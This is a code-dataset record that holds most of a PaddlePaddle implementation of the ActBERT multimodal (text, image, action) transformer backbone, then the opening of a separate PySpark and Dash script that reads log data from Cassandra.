\"\"\" compute attention \"\"\"\n attention_scores = paddle.matmul(query_layer,\n key_layer.transpose((0, 1, 3, 2)))\n attention_scores = attention_scores / math.sqrt(\n self.attention_head_size)\n attention_scores = attention_scores + attention_mask\n\n # Normalize the attention scores to probabilities.\n attention_probs = nn.Softmax(axis=-1)(attention_scores)\n\n # This is actually dropping out entire tokens to attend to, which might\n # seem a bit unusual, but is taken from the original Transformer paper.\n attention_probs = dropout(attention_probs)\n\n context_layer = paddle.matmul(attention_probs, value_layer)\n context_layer = context_layer.transpose((0, 2, 1, 3))\n new_context_layer_shape = context_layer.shape[:-2] + [\n self.all_head_size\n ]\n context_layer = context_layer.reshape(new_context_layer_shape)\n return context_layer\n\n context_av = do_attention(query_layer3, key_layer1, value_layer1,\n attention_mask1, self.dropout_av)\n context_at = do_attention(query_layer3, key_layer2, value_layer2,\n attention_mask2, self.dropout_at)\n\n context_key_av = self.key_av(context_av).transpose((0, 2, 1))\n # interpolate only support 4-D tensor now.\n context_key_av = F.interpolate(context_key_av.unsqueeze(-1),\n size=(key_layer2.shape[2],\n 1)).squeeze(-1)\n context_key_av = self.transpose_for_scores(\n context_key_av.transpose((0, 2, 1)))\n key_layer2 = key_layer2 + context_key_av\n\n context_key_at = self.key_at(context_at).transpose((0, 2, 1))\n context_key_at = F.interpolate(context_key_at.unsqueeze(-1),\n size=(key_layer1.shape[2],\n 1)).squeeze(-1)\n context_key_at = self.transpose_for_scores(\n context_key_at.transpose((0, 2, 1)))\n key_layer1 = key_layer1 + context_key_at\n\n context_val_av = self.value_at(context_av).transpose((0, 2, 1))\n context_val_av = F.interpolate(context_val_av.unsqueeze(-1),\n size=(value_layer2.shape[2],\n 1)).squeeze(-1)\n context_val_av = self.transpose_for_scores(\n context_val_av.transpose((0, 2, 1)))\n value_layer2 = value_layer2 + context_val_av\n\n context_val_at = self.value_at(context_at).transpose((0, 2, 1))\n context_val_at = F.interpolate(context_val_at.unsqueeze(-1),\n size=(value_layer1.shape[2],\n 1)).squeeze(-1)\n context_val_at = self.transpose_for_scores(\n context_val_at.transpose((0, 2, 1)))\n value_layer1 = value_layer1 + context_val_at\n\n context_layer1 = do_attention(query_layer1, key_layer1, value_layer1,\n attention_mask1, self.dropout1)\n context_layer2 = do_attention(query_layer2, key_layer2, value_layer2,\n attention_mask2, self.dropout2)\n context_layer3 = do_attention(query_layer3, key_layer3, value_layer3,\n attention_mask3, self.dropout3)\n\n return context_layer1, context_layer2, context_layer3 # vision, text, action\n\n\nclass BertEntOutput(nn.Layer):\n def __init__(\n self,\n bi_hidden_size,\n hidden_size,\n v_hidden_size,\n v_hidden_dropout_prob,\n hidden_dropout_prob,\n ):\n super(BertEntOutput, self).__init__()\n\n self.dense1 = nn.Linear(bi_hidden_size, v_hidden_size)\n self.LayerNorm1 = nn.LayerNorm(v_hidden_size, epsilon=1e-12)\n self.dropout1 = nn.Dropout(v_hidden_dropout_prob)\n\n self.dense2 = nn.Linear(bi_hidden_size, hidden_size)\n self.LayerNorm2 = nn.LayerNorm(hidden_size, epsilon=1e-12)\n self.dropout2 = nn.Dropout(hidden_dropout_prob)\n\n self.dense3 = nn.Linear(bi_hidden_size, hidden_size)\n self.LayerNorm3 = nn.LayerNorm(hidden_size, epsilon=1e-12)\n self.dropout3 = nn.Dropout(hidden_dropout_prob)\n\n def forward(\n self,\n hidden_states1,\n input_tensor1,\n hidden_states2,\n input_tensor2,\n hidden_states3,\n input_tensor3,\n ):\n context_state1 = self.dense1(hidden_states1)\n context_state1 = self.dropout1(context_state1)\n\n context_state2 = self.dense2(hidden_states2)\n context_state2 = self.dropout2(context_state2)\n\n context_state3 = self.dense3(hidden_states3)\n context_state3 = self.dropout3(context_state3)\n\n hidden_states1 = self.LayerNorm1(context_state1 + input_tensor1)\n hidden_states2 = self.LayerNorm2(context_state2 + input_tensor2)\n hidden_states3 = self.LayerNorm3(context_state3 + input_tensor3)\n\n return hidden_states1, hidden_states2, hidden_states3\n\n\nclass BertLayer(nn.Layer):\n def __init__(self, hidden_size, intermediate_size, hidden_act,\n hidden_dropout_prob, num_attention_heads,\n attention_probs_dropout_prob):\n super(BertLayer, self).__init__()\n self.attention = BertAttention(hidden_size, hidden_dropout_prob,\n num_attention_heads,\n attention_probs_dropout_prob)\n self.intermediate = BertIntermediate(hidden_size, intermediate_size,\n hidden_act)\n self.output = BertOutput(intermediate_size, hidden_size,\n hidden_dropout_prob)\n\n def forward(self, hidden_states, attention_mask):\n attention_output, attention_probs = self.attention(\n hidden_states, attention_mask)\n intermediate_output = self.intermediate(attention_output)\n layer_output = self.output(intermediate_output, attention_output)\n return layer_output, attention_probs\n\n\nclass BertConnectionLayer(nn.Layer):\n def __init__(self, hidden_size, v_hidden_size, a_hidden_size,\n bi_hidden_size, bi_num_attention_heads,\n attention_probs_dropout_prob, v_attention_probs_dropout_prob,\n a_attention_probs_dropout_prob,\n av_attention_probs_dropout_prob,\n at_attention_probs_dropout_prob, intermediate_size,\n v_intermediate_size, a_intermediate_size, hidden_act,\n v_hidden_act, a_hidden_act, hidden_dropout_prob,\n v_hidden_dropout_prob, a_hidden_dropout_prob):\n super(BertConnectionLayer, self).__init__()\n self.ent_attention = BertEntAttention(\n hidden_size,\n v_hidden_size,\n a_hidden_size,\n bi_hidden_size,\n attention_probs_dropout_prob,\n v_attention_probs_dropout_prob,\n a_attention_probs_dropout_prob,\n av_attention_probs_dropout_prob,\n at_attention_probs_dropout_prob,\n bi_num_attention_heads,\n )\n\n self.ent_output = BertEntOutput(\n bi_hidden_size,\n hidden_size,\n v_hidden_size,\n v_hidden_dropout_prob,\n hidden_dropout_prob,\n )\n\n self.v_intermediate = BertIntermediate(v_hidden_size,\n v_intermediate_size,\n v_hidden_act)\n self.v_output = BertOutput(v_intermediate_size, v_hidden_size,\n v_hidden_dropout_prob)\n\n self.t_intermediate = BertIntermediate(hidden_size, intermediate_size,\n hidden_act)\n self.t_output = BertOutput(intermediate_size, hidden_size,\n hidden_dropout_prob)\n\n self.a_intermediate = BertIntermediate(a_hidden_size,\n a_intermediate_size,\n a_hidden_act)\n self.a_output = BertOutput(a_intermediate_size, a_hidden_size,\n a_hidden_dropout_prob)\n\n def forward(\n self,\n input_tensor1,\n attention_mask1,\n input_tensor2,\n attention_mask2,\n input_tensor3,\n attention_mask3,\n ):\n\n ent_output1, ent_output2, ent_output3 = self.ent_attention(\n input_tensor1, attention_mask1, input_tensor2, attention_mask2,\n input_tensor3, attention_mask3)\n\n attention_output1, attention_output2, attention_output3 = self.ent_output(\n ent_output1, input_tensor1, ent_output2, input_tensor2, ent_output3,\n input_tensor3)\n\n intermediate_output1 = self.v_intermediate(attention_output1)\n layer_output1 = self.v_output(intermediate_output1, attention_output1)\n\n intermediate_output2 = self.t_intermediate(attention_output2)\n layer_output2 = self.t_output(intermediate_output2, attention_output2)\n\n intermediate_output3 = self.a_intermediate(attention_output3)\n layer_output3 = self.a_output(intermediate_output3, attention_output3)\n\n return layer_output1, layer_output2, layer_output3\n\n\nclass BertEncoder(nn.Layer):\n \"\"\"\n ActBert Encoder, consists 3 pathway of multi-BertLayers and BertConnectionLayer.\n \"\"\"\n def __init__(\n self,\n v_ent_attention_id,\n t_ent_attention_id,\n a_ent_attention_id,\n fixed_t_layer,\n fixed_v_layer,\n hidden_size,\n v_hidden_size,\n a_hidden_size,\n bi_hidden_size,\n intermediate_size,\n v_intermediate_size,\n a_intermediate_size,\n hidden_act,\n v_hidden_act,\n a_hidden_act,\n hidden_dropout_prob,\n v_hidden_dropout_prob,\n a_hidden_dropout_prob,\n attention_probs_dropout_prob,\n v_attention_probs_dropout_prob,\n a_attention_probs_dropout_prob,\n av_attention_probs_dropout_prob,\n at_attention_probs_dropout_prob,\n num_attention_heads,\n v_num_attention_heads,\n a_num_attention_heads,\n bi_num_attention_heads,\n num_hidden_layers,\n v_num_hidden_layers,\n a_num_hidden_layers,\n ):\n super(BertEncoder, self).__init__()\n self.v_ent_attention_id = v_ent_attention_id\n self.t_ent_attention_id = t_ent_attention_id\n self.a_ent_attention_id = a_ent_attention_id\n self.fixed_t_layer = fixed_t_layer\n self.fixed_v_layer = fixed_v_layer\n\n layer = BertLayer(hidden_size, intermediate_size, hidden_act,\n hidden_dropout_prob, num_attention_heads,\n attention_probs_dropout_prob)\n v_layer = BertLayer(v_hidden_size, v_intermediate_size, v_hidden_act,\n v_hidden_dropout_prob, v_num_attention_heads,\n v_attention_probs_dropout_prob)\n a_layer = BertLayer(a_hidden_size, a_intermediate_size, a_hidden_act,\n a_hidden_dropout_prob, a_num_attention_heads,\n a_attention_probs_dropout_prob)\n connect_layer = BertConnectionLayer(\n hidden_size, v_hidden_size, a_hidden_size, bi_hidden_size,\n bi_num_attention_heads, attention_probs_dropout_prob,\n v_attention_probs_dropout_prob, a_attention_probs_dropout_prob,\n av_attention_probs_dropout_prob, at_attention_probs_dropout_prob,\n intermediate_size, v_intermediate_size, a_intermediate_size,\n hidden_act, v_hidden_act, a_hidden_act, hidden_dropout_prob,\n v_hidden_dropout_prob, a_hidden_dropout_prob)\n\n self.layer = nn.LayerList(\n [copy.deepcopy(layer) for _ in range(num_hidden_layers)]) #12\n self.v_layer = nn.LayerList(\n [copy.deepcopy(v_layer) for _ in range(v_num_hidden_layers)]) #2\n self.a_layer = nn.LayerList(\n [copy.deepcopy(a_layer) for _ in range(a_num_hidden_layers)]) #3\n self.c_layer = nn.LayerList([\n copy.deepcopy(connect_layer) for _ in range(len(v_ent_attention_id))\n ] #2 [0,1]\n )\n\n def forward(\n self,\n txt_embedding,\n image_embedding,\n action_embedding,\n txt_attention_mask,\n image_attention_mask,\n action_attention_mask,\n output_all_encoded_layers=True,\n ):\n v_start, a_start, t_start = 0, 0, 0\n count = 0\n all_encoder_layers_t = []\n all_encoder_layers_v = []\n all_encoder_layers_a = []\n\n for v_layer_id, a_layer_id, t_layer_id in zip(self.v_ent_attention_id,\n self.a_ent_attention_id,\n self.t_ent_attention_id):\n v_end = v_layer_id\n a_end = a_layer_id\n t_end = t_layer_id\n\n assert self.fixed_t_layer <= t_end\n assert self.fixed_v_layer <= v_end\n\n ### region embedding\n for idx in range(v_start,\n self.fixed_v_layer): #两次训练,这个循环都没有进去 #前面的层固定住\n with paddle.no_grad():\n image_embedding, image_attention_probs = self.v_layer[idx](\n image_embedding, image_attention_mask)\n v_start = self.fixed_v_layer\n for idx in range(v_start, v_end):\n image_embedding, image_attention_probs = self.v_layer[idx](\n image_embedding, image_attention_mask)\n\n ### action embedding\n for idx in range(a_start, a_end):\n action_embedding, action_attention_probs = self.a_layer[idx](\n action_embedding, action_attention_mask)\n\n ### text embedding\n for idx in range(t_start, self.fixed_t_layer):\n with paddle.no_grad():\n txt_embedding, txt_attention_probs = self.layer[idx](\n txt_embedding, txt_attention_mask)\n t_start = self.fixed_t_layer\n for idx in range(t_start, t_end):\n txt_embedding, txt_attention_probs = self.layer[idx](\n txt_embedding, txt_attention_mask)\n\n image_embedding, txt_embedding, action_embedding = self.c_layer[\n count](image_embedding, image_attention_mask, txt_embedding,\n txt_attention_mask, action_embedding,\n action_attention_mask)\n\n v_start = v_end\n t_start = t_end\n a_start = a_end\n count += 1\n\n if output_all_encoded_layers:\n all_encoder_layers_t.append(txt_embedding)\n all_encoder_layers_v.append(image_embedding)\n all_encoder_layers_a.append(action_embedding)\n\n for idx in range(v_start, len(self.v_layer)): # 1\n image_embedding, image_attention_probs = self.v_layer[idx](\n image_embedding, image_attention_mask)\n\n for idx in range(a_start, len(self.a_layer)):\n action_embedding, action_attention_probs = self.a_layer[idx](\n action_embedding, action_attention_mask)\n\n for idx in range(t_start, len(self.layer)):\n txt_embedding, txt_attention_probs = self.layer[idx](\n txt_embedding, txt_attention_mask)\n\n # add the end part to finish.\n if not output_all_encoded_layers:\n all_encoder_layers_t.append(txt_embedding) #8, 36, 768\n all_encoder_layers_v.append(image_embedding) #8, 37, 1024\n all_encoder_layers_a.append(action_embedding) #8, 5, 768\n\n return all_encoder_layers_t, all_encoder_layers_v, all_encoder_layers_a\n\n\nclass BertPooler(nn.Layer):\n \"\"\" \"Pool\" the model by simply taking the hidden state corresponding\n to the first token.\n \"\"\"\n def __init__(self, hidden_size, bi_hidden_size):\n super(BertPooler, self).__init__()\n self.dense = nn.Linear(hidden_size, bi_hidden_size)\n self.activation = nn.ReLU()\n\n def forward(self, hidden_states):\n first_token_tensor = hidden_states[:, 0] #8, 768\n pooled_output = self.dense(first_token_tensor)\n pooled_output = self.activation(pooled_output)\n return pooled_output\n\n\nclass BertModel(nn.Layer):\n def __init__(\n self,\n vocab_size,\n max_position_embeddings,\n type_vocab_size,\n v_feature_size,\n a_feature_size,\n num_hidden_layers,\n v_num_hidden_layers,\n a_num_hidden_layers,\n v_ent_attention_id,\n t_ent_attention_id,\n a_ent_attention_id,\n fixed_t_layer,\n fixed_v_layer,\n hidden_size,\n v_hidden_size,\n a_hidden_size,\n bi_hidden_size,\n intermediate_size,\n v_intermediate_size,\n a_intermediate_size,\n hidden_act,\n v_hidden_act,\n a_hidden_act,\n hidden_dropout_prob,\n v_hidden_dropout_prob,\n a_hidden_dropout_prob,\n attention_probs_dropout_prob,\n v_attention_probs_dropout_prob,\n a_attention_probs_dropout_prob,\n av_attention_probs_dropout_prob,\n at_attention_probs_dropout_prob,\n num_attention_heads,\n v_num_attention_heads,\n a_num_attention_heads,\n bi_num_attention_heads,\n ):\n super(BertModel, self).__init__()\n # initilize word embedding\n self.embeddings = BertEmbeddings(vocab_size, max_position_embeddings,\n type_vocab_size, hidden_size,\n hidden_dropout_prob)\n # initlize the region embedding\n self.v_embeddings = BertImageEmbeddings(v_feature_size, v_hidden_size,\n v_hidden_dropout_prob)\n # initlize the action embedding\n self.a_embeddings = BertActionEmbeddings(a_feature_size, a_hidden_size,\n a_hidden_dropout_prob)\n\n self.encoder = BertEncoder(\n v_ent_attention_id, t_ent_attention_id, a_ent_attention_id,\n fixed_t_layer, fixed_v_layer, hidden_size, v_hidden_size,\n a_hidden_size, bi_hidden_size, intermediate_size,\n v_intermediate_size, a_intermediate_size, hidden_act, v_hidden_act,\n a_hidden_act, hidden_dropout_prob, v_hidden_dropout_prob,\n a_hidden_dropout_prob, attention_probs_dropout_prob,\n v_attention_probs_dropout_prob, a_attention_probs_dropout_prob,\n av_attention_probs_dropout_prob, at_attention_probs_dropout_prob,\n num_attention_heads, v_num_attention_heads, a_num_attention_heads,\n bi_num_attention_heads, num_hidden_layers, v_num_hidden_layers,\n a_num_hidden_layers)\n\n self.t_pooler = BertPooler(hidden_size, bi_hidden_size)\n self.v_pooler = BertPooler(v_hidden_size, bi_hidden_size)\n self.a_pooler = BertPooler(a_hidden_size, bi_hidden_size)\n\n def forward(\n self,\n text_ids,\n action_feat,\n image_feat,\n image_loc,\n token_type_ids=None,\n text_mask=None,\n image_mask=None,\n action_mask=None,\n output_all_encoded_layers=False,\n ):\n \"\"\"\n text_ids: input text ids. Shape: [batch_size, seqence_length]\n action_feat: input action feature. Shape: [batch_size, action_length, action_feature_dim]\n image_feat: input image feature. Shape: [batch_size, region_length, image_feature_dim]]\n image_loc: input region location. Shape: [batch_size, region_length, region_location_dim]\n token_type_ids: segment ids of each video clip. Shape: [batch_size, seqence_length]\n text_mask: text mask, 1 for real tokens and 0 for padding tokens. Shape: [batch_size, seqence_length]\n image_mask: image mask, 1 for real tokens and 0 for padding tokens. Shape: [batch_size, region_length]\n action_mask: action mask, 1 for real tokens and 0 for padding tokens. Shape: [batch_size, action_length]\n output_all_encoded_layers: is output encoded layers feature or not. Type: Bool.\n \"\"\"\n if text_mask is None:\n text_mask = paddle.ones_like(text_ids)\n if token_type_ids is None:\n token_type_ids = paddle.zeros_like(text_ids)\n if image_mask is None:\n image_mask = paddle.ones(image_feat.shape[0],\n image_feat.shape[1]).astype(text_ids.dtype)\n if action_mask is None:\n action_mask = paddle.ones(action_feat.shape[0],\n action_feat.shape[1]).astype(\n text_ids.dtype)\n\n # We create a 3D attention mask from a 2D tensor mask.\n # Sizes are [batch_size, 1, 1, to_seq_length]\n # So we can broadcast to [batch_size, num_heads, from_seq_length, to_seq_length].\n extended_text_mask = text_mask.unsqueeze(1).unsqueeze(2)\n extended_image_mask = image_mask.unsqueeze(1).unsqueeze(2)\n extended_action_mask = action_mask.unsqueeze(1).unsqueeze(2)\n\n # Since attention_mask is 1.0 for positions we want to attend and 0.0 for\n # masked positions, this operation will create a tensor which is 0.0 for\n # positions we want to attend and -10000.0 for masked positions.\n # Since we are adding it to the raw scores before the softmax, this is\n # effectively the same as removing these entirely.\n def set_mask(extended_attention_mask):\n extended_attention_mask = (1.0 - extended_attention_mask) * -10000.0\n return extended_attention_mask\n\n extended_text_mask = set_mask(extended_text_mask)\n extended_image_mask = set_mask(extended_image_mask)\n extended_action_mask = set_mask(extended_action_mask)\n\n t_embedding_output = self.embeddings(text_ids, token_type_ids)\n v_embedding_output = self.v_embeddings(image_feat, image_loc)\n a_embedding_output = self.a_embeddings(action_feat)\n\n # var = [t_embedding_output, v_embedding_output, a_embedding_output]\n # import numpy as np\n # for i, item in enumerate(var):\n # np.save('tmp/' + str(i)+'.npy', item.numpy())\n\n encoded_layers_t, encoded_layers_v, encoded_layers_a = self.encoder(\n t_embedding_output,\n v_embedding_output,\n a_embedding_output,\n extended_text_mask,\n extended_image_mask,\n extended_action_mask,\n output_all_encoded_layers=output_all_encoded_layers,\n )\n\n sequence_output_t = encoded_layers_t[-1] #get item from list\n sequence_output_v = encoded_layers_v[-1]\n sequence_output_a = encoded_layers_a[-1]\n\n pooled_output_t = self.t_pooler(sequence_output_t)\n pooled_output_v = self.v_pooler(sequence_output_v)\n pooled_output_a = self.a_pooler(sequence_output_a)\n\n if not output_all_encoded_layers:\n encoded_layers_t = encoded_layers_t[-1]\n encoded_layers_v = encoded_layers_v[-1]\n encoded_layers_a = encoded_layers_a[-1]\n\n return encoded_layers_t, encoded_layers_v, encoded_layers_a, \\\n pooled_output_t, pooled_output_v, pooled_output_a\n\n\n# For Head\nclass BertPredictionHeadTransform(nn.Layer):\n def __init__(self, hidden_size, hidden_act):\n super(BertPredictionHeadTransform, self).__init__()\n self.dense = nn.Linear(hidden_size, hidden_size)\n if isinstance(hidden_act, str) or (sys.version_info[0] == 2\n and isinstance(hidden_act, str)):\n self.transform_act_fn = ACT2FN[hidden_act]\n else:\n self.transform_act_fn = hidden_act\n self.LayerNorm = nn.LayerNorm(hidden_size, epsilon=1e-12)\n\n def forward(self, hidden_states):\n hidden_states = self.dense(hidden_states)\n hidden_states = self.transform_act_fn(hidden_states)\n hidden_states = self.LayerNorm(hidden_states)\n return hidden_states\n\n\nclass BertLMPredictionHead(nn.Layer):\n def __init__(self, hidden_size, hidden_act, bert_model_embedding_weights):\n super(BertLMPredictionHead, self).__init__()\n self.transform = BertPredictionHeadTransform(hidden_size, hidden_act)\n\n # The output weights are the same as the input embeddings, but there is\n # an output-only bias for each token.\n assert bert_model_embedding_weights.shape[1] == hidden_size\n vocab_size = bert_model_embedding_weights.shape[0]\n\n # another implementation which would create another big params:\n # self.decoder = nn.Linear(hidden_size, vocab_size) # NOTE bias default: constant 0.0\n # self.decoder.weight = self.create_parameter(shape=[hidden_size, vocab_size],\n # default_initializer=nn.initializer.Assign(\n # bert_model_embedding_weights.t())) # transpose\n\n self.decoder_weight = bert_model_embedding_weights\n self.decoder_bias = self.create_parameter(\n shape=[vocab_size],\n dtype=bert_model_embedding_weights.dtype,\n is_bias=True) # NOTE bias default: constant 0.0\n\n def forward(self, hidden_states):\n hidden_states = self.transform(hidden_states)\n hidden_states = paddle.tensor.matmul(\n hidden_states, self.decoder_weight,\n transpose_y=True) + self.decoder_bias\n return hidden_states\n\n\nclass BertImageActionPredictionHead(nn.Layer):\n def __init__(self, hidden_size, hidden_act, target_size):\n super(BertImageActionPredictionHead, self).__init__()\n self.transform = BertPredictionHeadTransform(hidden_size, hidden_act)\n\n self.decoder = nn.Linear(hidden_size, target_size)\n\n def forward(self, hidden_states):\n hidden_states = self.transform(hidden_states)\n hidden_states = self.decoder(hidden_states)\n return hidden_states\n\n\nclass BertPreTrainingHeads(nn.Layer):\n def __init__(self, hidden_size, v_hidden_size, a_hidden_size,\n bi_hidden_size, hidden_act, v_hidden_act, a_hidden_act,\n v_target_size, a_target_size, fusion_method,\n bert_model_embedding_weights):\n super(BertPreTrainingHeads, self).__init__()\n self.predictions = BertLMPredictionHead(hidden_size, hidden_act,\n bert_model_embedding_weights)\n self.seq_relationship = nn.Linear(bi_hidden_size, 2)\n self.imagePredictions = BertImageActionPredictionHead(\n v_hidden_size, v_hidden_act, v_target_size) # visual class number\n self.actionPredictions = BertImageActionPredictionHead(\n a_hidden_size, a_hidden_act, a_target_size) # action class number\n self.fusion_method = fusion_method\n self.dropout = nn.Dropout(0.1)\n\n def forward(self, sequence_output_t, sequence_output_v, sequence_output_a,\n pooled_output_t, pooled_output_v, pooled_output_a):\n\n if self.fusion_method == 'sum':\n pooled_output = self.dropout(pooled_output_t + pooled_output_v +\n pooled_output_a)\n elif self.fusion_method == 'mul':\n pooled_output = self.dropout(pooled_output_t * pooled_output_v +\n pooled_output_a)\n else:\n assert False\n\n prediction_scores_t = self.predictions(\n sequence_output_t) # 8, 36 ,30522\n seq_relationship_score = self.seq_relationship(pooled_output) # 8, 2\n prediction_scores_v = self.imagePredictions(\n sequence_output_v) # 8, 37, 1601\n prediction_scores_a = self.actionPredictions(\n sequence_output_a) # 8, 5, 401\n\n return prediction_scores_t, prediction_scores_v, prediction_scores_a, seq_relationship_score\n\n\n@BACKBONES.register()\nclass BertForMultiModalPreTraining(nn.Layer):\n \"\"\"BERT model with multi modal pre-training heads.\n \"\"\"\n def __init__(\n self,\n vocab_size=30522,\n max_position_embeddings=512,\n type_vocab_size=2,\n v_target_size=1601,\n a_target_size=700,\n v_feature_size=2048,\n a_feature_size=2048,\n num_hidden_layers=12,\n v_num_hidden_layers=2,\n a_num_hidden_layers=3,\n t_ent_attention_id=[10, 11],\n v_ent_attention_id=[0, 1],\n a_ent_attention_id=[0, 1],\n fixed_t_layer=0,\n fixed_v_layer=0,\n hidden_size=768,\n v_hidden_size=1024,\n a_hidden_size=768,\n bi_hidden_size=1024,\n intermediate_size=3072,\n v_intermediate_size=1024,\n a_intermediate_size=3072,\n hidden_act=\"gelu\",\n v_hidden_act=\"gelu\",\n a_hidden_act=\"gelu\",\n hidden_dropout_prob=0.1,\n v_hidden_dropout_prob=0.1,\n a_hidden_dropout_prob=0.1,\n attention_probs_dropout_prob=0.1,\n v_attention_probs_dropout_prob=0.1,\n a_attention_probs_dropout_prob=0.1,\n av_attention_probs_dropout_prob=0.1,\n at_attention_probs_dropout_prob=0.1,\n num_attention_heads=12,\n v_num_attention_heads=8,\n a_num_attention_heads=12,\n bi_num_attention_heads=8,\n fusion_method=\"mul\",\n pretrained=None,\n ):\n \"\"\"\n vocab_size: vocabulary size. Default: 30522.\n max_position_embeddings: max position id. Default: 512.\n type_vocab_size: max segment id. Default: 2.\n v_target_size: class number of visual word. Default: 1601.\n a_target_size: class number of action word. Default: 700.\n v_feature_size: input visual feature dimension. Default: 2048.\n a_feature_size: input action feature dimension. Default: 2048.\n num_hidden_layers: number of BertLayer in text transformer. Default: 12.\n v_num_hidden_layers: number of BertLayer in visual transformer. Default: 2.\n a_num_hidden_layers: number of BertLayer in action transformer. Default:3.\n t_ent_attention_id: index id of BertConnectionLayer in text transformer. Default: [10, 11].\n v_ent_attention_id: index id of BertConnectionLayer in visual transformer. Default:[0, 1].\n a_ent_attention_id: index id of BertConnectionLayer in action transformer. Default:[0, 1].\n fixed_t_layer: index id of fixed BertLayer in text transformer. Default: 0.\n fixed_v_layer: index id of fixed BertLayer in visual transformer. Default: 0.\n hidden_size: hidden size in text BertLayer. Default: 768.\n v_hidden_size: hidden size in visual BertLayer. Default: 1024.\n a_hidden_size: hidden size in action BertLayer. Default: 768.\n bi_hidden_size: hidden size in BertConnectionLayer. Default: 1024,\n intermediate_size: intermediate size in text BertLayer. Default: 3072.\n v_intermediate_size: intermediate size in visual BertLayer. Default: 1024.\n a_intermediate_size: intermediate size in text BertLayer. Default: 3072.\n hidden_act: hidden activation function in text BertLayer. Default: \"gelu\".\n v_hidden_act: hidden activation function in visual BertLayer. Default: \"gelu\".\n a_hidden_act: hidden activation function in action BertLayer. Default: \"gelu\".\n hidden_dropout_prob: hidden dropout probability in text Embedding Layer. Default: 0.1\n v_hidden_dropout_prob: hidden dropout probability in visual Embedding Layer. Default: 0.1\n a_hidden_dropout_prob: hidden dropout probability in action Embedding Layer. Default: 0.1\n attention_probs_dropout_prob: attention dropout probability in text BertLayer. Default: 0.1\n v_attention_probs_dropout_prob: attention dropout probability in visual BertLayer. Default: 0.1\n a_attention_probs_dropout_prob: attention dropout probability in action BertLayer. Default: 0.1\n av_attention_probs_dropout_prob: attention dropout probability in action-visual BertConnectionLayer. Default: 0.1\n at_attention_probs_dropout_prob: attention dropout probability in action-text BertConnectionLayer. Default: 0.1\n num_attention_heads: number of heads in text BertLayer. Default: 12.\n v_num_attention_heads: number of heads in visual BertLayer. Default: 8.\n a_num_attention_heads: number of heads in action BertLayer. Default: 12.\n bi_num_attention_heads: number of heads in BertConnectionLayer. Default: 8.\n fusion_method: methods of fusing pooled output from 3 transformer. Default: \"mul\".\n \"\"\"\n super(BertForMultiModalPreTraining, self).__init__()\n self.pretrained = pretrained\n self.vocab_size = vocab_size\n self.a_target_size = a_target_size\n\n self.bert = BertModel(\n vocab_size,\n max_position_embeddings,\n type_vocab_size,\n v_feature_size,\n a_feature_size,\n num_hidden_layers,\n v_num_hidden_layers,\n a_num_hidden_layers,\n v_ent_attention_id,\n t_ent_attention_id,\n a_ent_attention_id,\n fixed_t_layer,\n fixed_v_layer,\n hidden_size,\n v_hidden_size,\n a_hidden_size,\n bi_hidden_size,\n intermediate_size,\n v_intermediate_size,\n a_intermediate_size,\n hidden_act,\n v_hidden_act,\n a_hidden_act,\n hidden_dropout_prob,\n v_hidden_dropout_prob,\n a_hidden_dropout_prob,\n attention_probs_dropout_prob,\n v_attention_probs_dropout_prob,\n a_attention_probs_dropout_prob,\n av_attention_probs_dropout_prob,\n at_attention_probs_dropout_prob,\n num_attention_heads,\n v_num_attention_heads,\n a_num_attention_heads,\n bi_num_attention_heads,\n )\n self.cls = BertPreTrainingHeads(\n hidden_size, v_hidden_size, a_hidden_size, bi_hidden_size,\n hidden_act, v_hidden_act, a_hidden_act, v_target_size,\n a_target_size, fusion_method,\n self.bert.embeddings.word_embeddings.weight)\n\n def init_weights(self):\n \"\"\"Initiate the parameters.\n \"\"\"\n if isinstance(self.pretrained, str) and self.pretrained.strip() != \"\":\n load_ckpt(self, self.pretrained)\n elif self.pretrained is None or self.pretrained.strip() == \"\":\n for layer in self.sublayers():\n if isinstance(layer, (nn.Linear, nn.Embedding)):\n weight_init_(layer, 'Normal', std=0.02)\n elif isinstance(layer, nn.LayerNorm):\n weight_init_(layer, 'Constant', value=1)\n\n def forward(\n self,\n text_ids, #8,36\n action_feat, #8,5,2048\n image_feat, #8,37,2048\n image_loc, #8,37,5\n token_type_ids=None, #8,36\n text_mask=None, #8,36\n image_mask=None, #8,37\n action_mask=None, #8,5\n ):\n \"\"\"\n text_ids: input text ids. Shape: [batch_size, seqence_length]\n action_feat: input action feature. Shape: [batch_size, action_length, action_feature_dim]\n image_feat: input image feature. Shape: [batch_size, region_length+1, image_feature_dim]], add 1 for image global feature.\n image_loc: input region location. Shape: [batch_size, region_length+1, region_location_dim], add 1 for image global feature location.\n token_type_ids: segment ids of each video clip. Shape: [batch_size, seqence_length]\n text_mask: text mask, 1 for real tokens and 0 for padding tokens. Shape: [batch_size, seqence_length]\n image_mask: image mask, 1 for real tokens and 0 for padding tokens. Shape: [batch_size, region_length]\n action_mask: action mask, 1 for real tokens and 0 for padding tokens. Shape: [batch_size, action_length]\n \"\"\"\n sequence_output_t, sequence_output_v, sequence_output_a, \\\n pooled_output_t, pooled_output_v, pooled_output_a = self.bert(\n text_ids,\n action_feat,\n image_feat,\n image_loc,\n token_type_ids,\n text_mask,\n image_mask,\n action_mask,\n output_all_encoded_layers=False,\n )\n\n prediction_scores_t, prediction_scores_v, prediction_scores_a, seq_relationship_score = self.cls(\n sequence_output_t, sequence_output_v, sequence_output_a,\n pooled_output_t, pooled_output_v, pooled_output_a)\n\n return prediction_scores_t, prediction_scores_v, prediction_scores_a, seq_relationship_score\n","repo_name":"PaddlePaddle/awesome-DeepLearning","sub_path":"Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/modeling/backbones/actbert.py","file_name":"actbert.py","file_ext":"py","file_size_in_byte":50087,"program_lang":"python","lang":"en","doc_type":"code","stars":2544,"dataset":"github-code","pt":"37"} +{"seq_id":"37825495003","text":"from pyspark.sql import SparkSession\nfrom pyspark.sql.functions import *\nimport pandas as pd\nfrom dash.dependencies import Input, Output, State\nimport plotly.graph_objs as go\nfrom datetime import datetime,timedelta\nimport time\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\n\ncassandra_host = \"192.168.31.188\"\n\nspark = SparkSession.builder.appName(\"pyspark-visualization\").\\\n config(\"spark.jars.packages\",\"com.datastax.spark:spark-cassandra-connector_2.12:3.0.0,com.datastax.spark:spark-cassandra-connector-driver_2.12:3.0.0\").\\\n config(\"spark.cassandra.connection.host\",cassandra_host).\\\n config(\"spark.cassandra.auth.username\",\"cassandra\").\\\n config(\"spark.cassandra.auth.password\",\"cassandra\").\\\n getOrCreate()\n\nlogs_df = spark\\\n .read\\\n .format(\"org.apache.spark.sql.cassandra\")\\\n .options(table=\"bgllogs\", 